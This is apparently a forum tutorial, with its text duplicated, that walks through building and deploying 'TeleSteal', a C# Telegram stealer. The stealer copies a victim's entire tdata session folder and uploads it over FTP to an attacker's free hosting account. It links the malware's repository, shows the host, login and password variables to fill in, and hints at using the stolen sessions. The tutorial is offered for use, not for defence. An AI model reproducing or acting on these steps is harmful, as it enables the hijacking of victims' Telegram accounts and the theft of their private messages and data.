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Yes, there is already a telegram stealer, which is written in python, but python has a lot of weight at the output, and the stealer in C # weighs about 844kb.
The pluses of this stealer include the fact that it steals the entire tdata folder.
Let's get started!
Installing VisualStudio
To download Visual Studio 2019, go to their website:
Poke Download.
After downloading the studio, we must click on the checkbox:
Hosting setup
You can take any hosting, you just need to have an FTP connection.
Let's take a look at 000webhost as an example.
We register, create a website and get the data for connecting to FTP in the control panel.
We save our data and go to the code.
Setting up and building the code
Code link - https://github.com/dogberttg/TeleSteal
Download, unpack the archive, and open TeleSteal.sln through Visual Studio.
Select Program.cs, scroll to the bottom of the code until we see this block of code.
In these three variables we insert data from our FTP host.
In my case, this is:
Everything!
We just need to select Debug> Release from above and press Ctrl + B to create a build of our code.
Launch
Now let's run this script and see what happens.
At first glance, nothing is happening, but let's go to the hosting file manager and take a look...
I don't think you need to explain how to use these files.
Yes, there is already a telegram stealer, which is written in python, but python has a lot of weight at the output, and the stealer in C # weighs about 844kb.
The pluses of this stealer include the fact that it steals the entire tdata folder.
Let's get started!
Installing VisualStudio
To download Visual Studio 2019, go to their website:
Poke Download.
After downloading the studio, we must click on the checkbox:
Hosting setup
You can take any hosting, you just need to have an FTP connection.
Let's take a look at 000webhost as an example.
We register, create a website and get the data for connecting to FTP in the control panel.
We save our data and go to the code.
Setting up and building the code
Code link - https://github.com/dogberttg/TeleSteal
Download, unpack the archive, and open TeleSteal.sln through Visual Studio.
Select Program.cs, scroll to the bottom of the code until we see this block of code.
In these three variables we insert data from our FTP host.
In my case, this is:
Code:
host = "files.000wehhost.com"
login = "kofkorx"
pass = "here is my password"Everything!
We just need to select Debug> Release from above and press Ctrl + B to create a build of our code.
Launch
Now let's run this script and see what happens.
At first glance, nothing is happening, but let's go to the hosting file manager and take a look...
I don't think you need to explain how to use these files.
